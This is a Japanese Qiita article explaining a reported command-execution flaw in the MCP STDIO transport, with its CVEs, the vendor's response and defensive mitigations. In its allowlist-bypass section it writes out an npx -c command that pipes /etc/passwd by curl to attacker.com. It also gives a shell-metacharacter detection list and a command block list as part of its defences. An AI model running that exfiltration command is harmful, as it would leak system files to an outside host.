0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

MCPのSTDIO設計欠陥 — 200K+サーバーが晒されたRCEリスクと必須対策

0
Last updated at Posted at 2026-04-21

はじめに

2026年4月16日、セキュリティ企業 OX Security が Model Context Protocol(MCP)の公式SDKに重大な設計上の欠陥を報告しました。この欠陥はAnthropic が公式にサポートするPython・TypeScript・Java・Rust・Go 含む全言語のSDKに内在しており、150 百万件以上のダウンロードと 200,000 以上のサーバーインスタンスに影響します。

注目すべきは、Anthropic がこの問題を「仕様どおりの動作(by design)」として修正を拒否したことです。つまり、MCP を利用する開発者が自ら対策を講じなければなりません。

この記事で学べること

  • MCP STDIO インターフェースに潜む RCE(リモートコード実行)の仕組み
  • 影響を受けるプロジェクトと公開された CVE の一覧
  • Anthropic の対応と今後の見通し
  • 開発者が今すぐ実施すべき具体的な対策

対象読者

  • MCP を使って AI エージェントやツールを開発している方
  • MCP サーバーを自ホストしている方
  • AI エージェントシステムのセキュリティに関心がある方

TL;DR

  • MCP の STDIO インターフェースはコマンドを検証なしに実行する設計になっており、RCE の温床になっている
  • 影響範囲は 7,374 以上の公開サーバー(Shodan 確認済み)、推定 200,000 以上のインスタンス
  • Anthropic は「期待される動作」として修正を拒否。開発者側での対策が必須
  • 10 件の CVE が発行済み(CVE-2026-30616、CVE-2026-30617、CVE-2026-30624 等)

MCPのSTDIOとは

MCP は AI アプリケーションと外部データソース・ツールを接続するためのオープンプロトコルです。ローカル環境では STDIO(標準入出力)トランスポートを使ってアプリケーションが MCP サーバーをサブプロセスとして起動します。

STDIO トランスポートの仕組みは以下のようになっています。

# 簡略化した STDIO トランスポートの動作イメージ
import subprocess

# ユーザーが指定したコマンドを実行してサーバーを起動
process = subprocess.run(user_provided_command, ...)
# ↑ サーバー起動の成否にかかわらず、このコマンドは実行される

OX Security が発見した問題は、この**「先に実行、後で検証」**というパターンです。


脆弱性の仕組み: Execute First, Validate Never

コアの問題

MCP の STDIO インターフェースは、任意のコマンド文字列を受け取り、検証・サニタイズ・サンドボックスなしにサブプロセス実行に渡します。

攻撃シナリオの流れは次のとおりです:

  1. 攻撃者が悪意のあるコマンドを MCP サーバーの起動コマンドとして注入する
  2. コマンドが実行される
  3. MCP ハンドシェイクが失敗する(正規サーバーでないため)
  4. エラーがキャッチされる
  5. しかし、ペイロードはすでに実行済み

この問題は「コーディングエラーではなく、アーキテクチャの設計上の決定」と研究者は指摘しています。

コマンドアローリストもバイパス可能

一部のプロジェクトは高リスクコマンドをブロックするアローリスト(許可リスト)を実装していますが、これも回避できます。

# 例: npx がアローリストに含まれている場合
# -c フラグを使って任意のコマンドを実行できる
npx -c "cat /etc/passwd | curl -X POST https://attacker.com/exfil -d @-"

npx-c--call)フラグは、カスタムコマンドやシェルスクリプトを渡して実行できるため、アローリストを経由した間接的なコマンド注入が可能です。


影響範囲

OX Security の調査によると、この設計欠陥の影響範囲は以下のとおりです。

指標 数値
確認済み公開サーバー(Shodan) 7,374台
推定影響インスタンス数 200,000以上
公式 SDK ダウンロード数 150百万件以上
発行 CVE 数 10件(うち複数が High/Critical)
影響言語 Python、TypeScript、Java、Rust、Go 他

Anthropic の公式 MCP SDK の全対応言語(10言語)に同一の問題が内在しており、MCP を採用している多くのオープンソースプロジェクト(30 件以上の RCE を確認)が影響を受けています。


Anthropicの対応: 「仕様どおり」として修正拒否

OX Security の研究チームは繰り返し Anthropic にパッチ適用を要請しましたが、Anthropic はプロトコルアーキテクチャの修正を拒否しました。

"STDIO execution model represents a secure default and that sanitization is the developer's responsibility."
— Anthropic(The Register 報道より)

Anthropic は STDIO の実行動作を「期待されるデフォルト動作」と位置づけ、入力のサニタイズはSDKを利用する開発者側の責任であるという立場です。

研究者は、Anthropic がルートパッチを適用すれば 150 百万件超のダウンロードをまたぐソフトウェアパッケージ全体のリスクを一度に低減できると主張しています。


発行されたCVE一覧

OX Security の調査で 10 件の CVE が発行されました。主なものを以下に示します。

CVE 対象 深刻度
CVE-2026-30616 MCP利用ツール High/Critical
CVE-2026-30617 MCP利用ツール High/Critical
CVE-2026-30624 MCP利用ツール High/Critical
CVE-2026-30625 MCP利用ツール High/Critical
その他6件 MCP利用各ツール High

詳細な CVE 情報は OX Security のアドバイザリNVD で確認できます。

個別のプロジェクトでパッチが発行されているものについては、速やかにアップデートを適用することを強く推奨します。


開発者が今すぐ実施すべき対策

Anthropic がプロトコルレベルの修正を行わない以上、開発者側での対策が必須です。以下の対策を優先度順に実施してください。

1. MCP サービスをパブリック IP に公開しない

最も重要な対策です。MCP の STDIO トランスポートはローカル通信を前提としています。

# 危険: パブリック IP でリッスン
mcp server start --host 0.0.0.0 --port 8080

# 安全: ローカルホストのみ
mcp server start --host 127.0.0.1 --port 8080

2. STDIO 設定に到達するユーザー入力を信頼しない

すべての外部入力を「汚染されたデータ」として扱い、厳格にサニタイズします。

import re
import shlex

BLOCKED_PATTERNS = [
    r';',          # コマンド連結
    r'\|',         # パイプ
    r'&&',         # AND 連結
    r'\$\(',       # コマンド置換
    r'`',          # バッククォート
    r'>',          # リダイレクト
]

def sanitize_command(cmd: str) -> list[str]:
    for pattern in BLOCKED_PATTERNS:
        if re.search(pattern, cmd):
            raise ValueError(f"Blocked pattern detected: {pattern}")
    # シェル展開を防ぐためリストとして渡す
    return shlex.split(cmd)

3. MCP プロセスをサンドボックス化する

Docker やコンテナでプロセスを隔離し、最小権限を付与します。

# docker-compose.yml のセキュリティ設定例
services:
  mcp-server:
    image: my-mcp-server
    read_only: true
    security_opt:
      - no-new-privileges:true
    cap_drop:
      - ALL
    user: "1000:1000"
    tmpfs:
      - /tmp

4. アローリストを実装する(ただし単独では不十分)

高リスクバイナリをブロックするアローリストを実装しますが、前述のバイパス手法(npx -c 等)に注意してください。

# 危険なコマンドのブロックリスト(最低限)
BLOCKED_COMMANDS = {
    'sh', 'bash', 'zsh', 'fish',
    'powershell', 'cmd',
    'curl', 'wget',
    'rm', 'del', 'rmdir',
    'chmod', 'chown',
    'sudo', 'su',
}

def validate_command(cmd: str) -> bool:
    base_cmd = cmd.strip().split()[0].lower()
    return base_cmd not in BLOCKED_COMMANDS

注意: アローリストの回避手法が存在するため、これだけを頼りにしないでください。

5. 影響を受けるパッケージを更新する

CVE が発行されたプロジェクトでは個別にパッチが提供されています。

# Python の依存パッケージを確認・更新
pip audit
pip install --upgrade <affected-package>

# Node.js の場合
npm audit
npm update <affected-package>

対策の優先度まとめ

対策 優先度 効果
パブリック IP 非公開 ★★★ 最重要 外部からの攻撃を防止
入力サニタイズ ★★★ 必須 コマンド注入を防止
サンドボックス化 ★★★ 必須 被害範囲を限定
影響パッケージ更新 ★★★ 即時 既知 CVE を修正
アローリスト実装 ★★ 補助 単独では不十分

今後の見通し

OX Security は Anthropic へのルートパッチ適用を継続的に要請しています。今後のアップデートとして以下が考えられます。

  • Anthropic の方針変更: コミュニティの圧力によってプロトコルレベルの修正が行われる可能性
  • サードパーティの対策ツール: MCP 用のサニタイズ・プロキシライブラリが登場する可能性
  • 規制・標準化: AAIF(Agentic AI Foundation)等の標準化団体がセキュリティ要件を定める可能性

最新情報は OX Security ブログMCP 公式ドキュメント で確認してください。


まとめ

MCP の STDIO 設計欠陥は、AI エコシステム全体に影響する深刻な問題です。

  • 問題の本質: コマンドを検証なしに実行する STDIO の設計が、RCE の温床となっている
  • Anthropic の立場: 「仕様どおり」として修正拒否。開発者の責任とされている
  • 影響規模: 200,000 以上のサーバー、150 百万件以上のダウンロード
  • 対策: パブリック非公開・入力サニタイズ・サンドボックス化・パッケージ更新の4本柱

MCP を利用している方は、今すぐ上記の対策を確認し、必要な措置を講じることを強くお勧めします。


参考リンク

0
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?